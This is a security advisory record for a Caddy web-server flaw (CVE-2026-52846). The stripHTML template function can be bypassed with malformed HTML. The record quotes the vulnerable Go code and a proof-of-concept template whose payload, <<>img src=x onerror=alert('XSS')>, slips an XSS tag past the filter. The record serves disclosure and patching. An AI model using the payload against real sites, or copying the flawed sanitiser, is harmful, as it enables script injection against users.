GHSA-VCC4-2C75-VC9V
Vulnerability from github – Published: 2026-06-16 21:28 – Updated: 2026-06-16 21:28Summary
Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.
Details
The vulnerability originates from funcStripHTML in:
caddy/caddy/caddyhttp/templates/tplcontext.go
func (TemplateContext) funcStripHTML(s string) string {
var buf bytes.Buffer
var inTag, inQuotes bool
var tagStart int
for i, ch := range s {
if inTag {
if ch == '>' && !inQuotes {
inTag = false
} else if ch == '<' && !inQuotes {
// false start
buf.WriteString(s[tagStart:i])
tagStart = i
} else if ch == '"' {
inQuotes = !inQuotes
}
continue
}
if ch == '<' {
inTag = true
tagStart = i
continue
}
buf.WriteRune(ch)
}
if inTag {
// false start
buf.WriteString(s[tagStart:])
}
return buf.String()
}
POC
Caddyfile setup
:8080 {
root * ./site
file_server
templates
}
Template file (index.html)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>StripHTML Bypass Test</title>
</head>
<body>
<p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>
The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid tag behind.
Tested in v2.11.3
Impact
Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.
AI Disclosure
AI assisted in writing the report description; however, the discovery of the issue has been done manually.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52846"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T21:28:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nCaddy\u2019s `stripHTML` template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as `\u003c\u003c\u003eimg src=x onerror=alert()\u003e`, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.\n\n---\n\n### Details\nThe vulnerability originates from `funcStripHTML` in:\n\n[caddy/caddy/caddyhttp/templates/tplcontext.go](https://github.com/caddyserver/caddy/blob/77e9ce7404c4a76853e101a9f5687a929ee56654/modules/caddyhttp/templates/tplcontext.go)\n\n```go\nfunc (TemplateContext) funcStripHTML(s string) string {\n var buf bytes.Buffer\n var inTag, inQuotes bool\n var tagStart int\n for i, ch := range s {\n if inTag {\n if ch == \u0027\u003e\u0027 \u0026\u0026 !inQuotes {\n inTag = false\n } else if ch == \u0027\u003c\u0027 \u0026\u0026 !inQuotes {\n // false start\n buf.WriteString(s[tagStart:i])\n tagStart = i\n } else if ch == \u0027\"\u0027 {\n inQuotes = !inQuotes\n }\n continue\n }\n if ch == \u0027\u003c\u0027 {\n inTag = true\n tagStart = i\n continue\n }\n buf.WriteRune(ch)\n }\n if inTag {\n // false start\n buf.WriteString(s[tagStart:])\n }\n return buf.String()\n}\n```\n\n### POC\n\nCaddyfile setup\n\n```\n:8080 {\n root * ./site\n file_server\n templates\n}\n```\n\nTemplate file (index.html)\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003ctitle\u003eStripHTML Bypass Test\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n \u003cp\u003e{{ stripHTML \"\u003c\u003c\u003eimg src=x onerror=alert(\u0027XSS\u0027)\u003e\" }}\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe payload exploits the false start branch to smuggle a literal \u003c back into the output, then uses the following \u003e to terminate the parser\u2019s tag state, leaving a valid \u003cimg ...\u003e tag behind.\n\nTested in v2.11.3\n\n### Impact\n\nMalformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.\n\n### AI Disclosure\n\nAI assisted in writing the report description; however, the discovery of the issue has been done manually.",
"id": "GHSA-vcc4-2c75-vc9v",
"modified": "2026-06-16T21:28:55Z",
"published": "2026-06-16T21:28:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-vcc4-2c75-vc9v"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Caddy: stripHTML template function bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.